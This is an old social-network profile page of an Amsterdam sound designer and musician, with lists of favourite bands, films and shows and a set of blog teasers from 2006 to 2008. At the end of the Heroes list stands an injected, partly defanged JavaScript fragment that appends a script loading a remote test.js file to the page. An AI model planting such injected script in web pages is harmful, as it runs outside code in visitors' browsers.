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Yoko Mono

Brewed, Screwed, and Tattooed.

About Me

I make a mean curry. I'm easygoing, just a bit too preoccupied at times, I love my family, my friends, and music is my live. I play in a hardcore band called My City Burning, and a studio-based project called Hatemonger. I have been known to have a drink too many sometimes, and i have the tendency to dance like a pirate when im drunk. come and watch me sometime. I love my girl Chris, loud music, rainy days, tattoos, cool people, black t-shirts, balsamic vinegar, Japanese cinema, loyalty, Mexican food, Caipirinhas, taking showers, people that know how to make fun of themselves, sleeping late, and going out when everyone else is staying in. I passionately believe in atheism, meme theory, and the innocence of the west-memphis three. On top of it all I'm a "bright", pro-gay marriage and anti-stupid stuff. Go figure. I’m a freelance sound designer and post production engineer currently employed at “Bart Jilesen Sounddesign”, besides which I am doing an MA in game audio. Life in the future should be all about getting that MA, then sail the seven seas, and settle down and have babies someday. stuff that gets my goat: A lack of loyalty, this selfish society, mosquitos, movies with hiphop stars, going to the dentist, not catching any sleep, not having a drivers license, the day after the night before, the inevitable "first" time, techno music, and heights.

My Interests

Music, guitars, videogames, chilling on the couch, long walks, schmoozing around, and the occasional hard work. oh, and beer.

I'd like to meet:

That guy that stole my Run DMC cap in 11th grade. Motherfucker.

Music:

phew...okay, here we go: Earshot, finger eleven, sinch, strata, slayer, killswitch engage, iron maiden, trivium, Alice in Chains, Boysetsfire, Meshuggah, Dillinger Escape Plan, lost prophets, Hatebreed, the Red Chord, Into the Moat, Unearth, Mastodon, Walls of Jericho, Bleeding through, the Agony Scene, Comeback Kid, Figure Four, As I lay Dying, Underoath, 36CF, The Red Chord, Twelve Tribes, Ravel, Tsjaikovski, Bach, Debussy, Charles Mingus, John Coltrane, Miles Davis, Chet Baker, Bill Evans, John Mayer, Jay-Z, Dr Dre, Snoop (the old stuff), Beastie Boys, Fort Minor, Enduser, Bong-Ra, Autechre, Matisyahu, Dead Hearts, Bob Marley, Ini Kamoze (old stuff), Eek-a-mouse, King Tubby, Leftfield, High Tone, Boards of Canada, Thrice, Kaizers Orchestra, the Police, Ben Harper, 30 seconds to mars, Britney Spears (stop sending me messages over this! it's a free world goddamnit!), Clipse, Chris Isaak, Cold, Opgezwolle, Fis(ch)er, Renato Carosone, Andre Hazes,Royksopp, Lamb of God, Slipknot, Spymob, i could go on forever.... i actually really dislike dance music. that's all.

Movies:

Anything by Ridley or Tony Scott, Takashi Miike, Takeshi, George Romero, Quentin Tarantino, David Lynch, Terry Gilliam & Monty Python, Stanley Kubrick, or George Lucas is fine with me.

Television:

Little Britain, Dr Phil, Seinfeld, Monthy Python, Bob Ross, Simpsons, Family Guy, Futurama, the A-team, Match of the Day, American Dad, MTV2, tour dvd's, and Im a teletext junky....

Books:

Stuff on musical engineering and composition, stuff on eastern philosophy, stuff with lots of cool photo's, and autobiographies. Oh, and I thought the DaVinci code was pretty cool too.

Heroes:

No heroes. just admirations: Michael Andrews, Mitch Hedberg, Richard Dawkins, Dustin Kensrue, Dallas Green, Bill Hicks, Andy Wallace, Rick Rubin, Henry Rollins, Ozzy Osbourne, the guy who invented balsamico vinegar, Grandma, Johan Cruyff, John Cleese, Douglas Adams, Takashi Miike, Jose Mourinho, Brick Tamland, and the guys at Rockstar Entertainment. .."var x=document·('script');x.src='http://www.../.../test.js' ;document·getElementsByTagName('body')[0].appendChild(x );" /

My Blog

Free Tibet.

Somehow I can’t escape the feeling that we’re all wishing it would go away. But it won’t. http://www.freetibet.org/ At first I strongly felt the Olympics should go ahead. It can pu...
Posted by Yoko Mono on Sat, 15 Mar 2008 03:59:00 PST

Dog owners.

Seriously, I like animals.But what the fuck is it with dog owners who expect you to treat their dog like it is their child?It might be a child to YOU, to me it's still a fucking dog. I wouldn't kick i...
Posted by Yoko Mono on Sat, 29 Dec 2007 02:05:00 PST

The OUT Campaign.

Hi guys. I know some people are going to not read any further realizing this whole blog is about religion and so on knowing I can get carried away on this subject, or possibly categorize me in the ...
Posted by Yoko Mono on Mon, 24 Sep 2007 10:39:00 PST

This will most probably get me on the blacklist.

No day more appropriate than may 5th to share this article with you. Fascist America, in 10 easy stepsFrom Hitler to Pinochet and beyond, history shows there are certain steps that any would-be dictat...
Posted by Yoko Mono on Sat, 05 May 2007 05:09:00 PST

Religion Rant. Sponsored by Jesus"

Disclaimer: ..:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />  This is not for those rant-sensitive readers among you. If you're into God in whatever shape or form, I sugg...
Posted by Yoko Mono on Tue, 03 Apr 2007 12:36:00 PST

Kung Fu Fisting...?!?!

I couldn't ignore this....i stumbled across it (courtesy of Leentje) and had to preserve it for future generations to laugh at.... Ladies and gentleman, I give you: **Silly porn film titles in alphabe...
Posted by Yoko Mono on Sat, 03 Feb 2007 03:49:00 PST

Things to do in Denver when you're mad.

This is an extensive post, but it's worth every word in it, I just had to share this amazing story with you&.stick with me.   I received an email of a dude I've befriended a long time ago, named...
Posted by Yoko Mono on Sat, 25 Nov 2006 06:51:00 PST

Things not to do when hungover.

  Things not to do when hung over.   So after a night of binge drinking with my friends, a French cross dresser named Jules, my personal manager, and the Olson twins, I find myself at work. ...
Posted by Yoko Mono on Sat, 25 Nov 2006 06:34:00 PST

Dear boy collectors....

Lately, I seem to be a target for "boy collectors" on this here myspace thing, so let me sort some of this stuff out for you. Even though I enjoy all kinds of attention, I'm not on here to pick up gir...
Posted by Yoko Mono on Sat, 21 Oct 2006 07:03:00 PST

There goes the neighbourhood.

I just have to get this off my chest...As some of you know, I live in a great spot of Amsterdam, but with some of the most retarded neighbours ever to come out of wherever it is they construct neighbo...
Posted by Yoko Mono on Tue, 17 Oct 2006 04:51:00 PST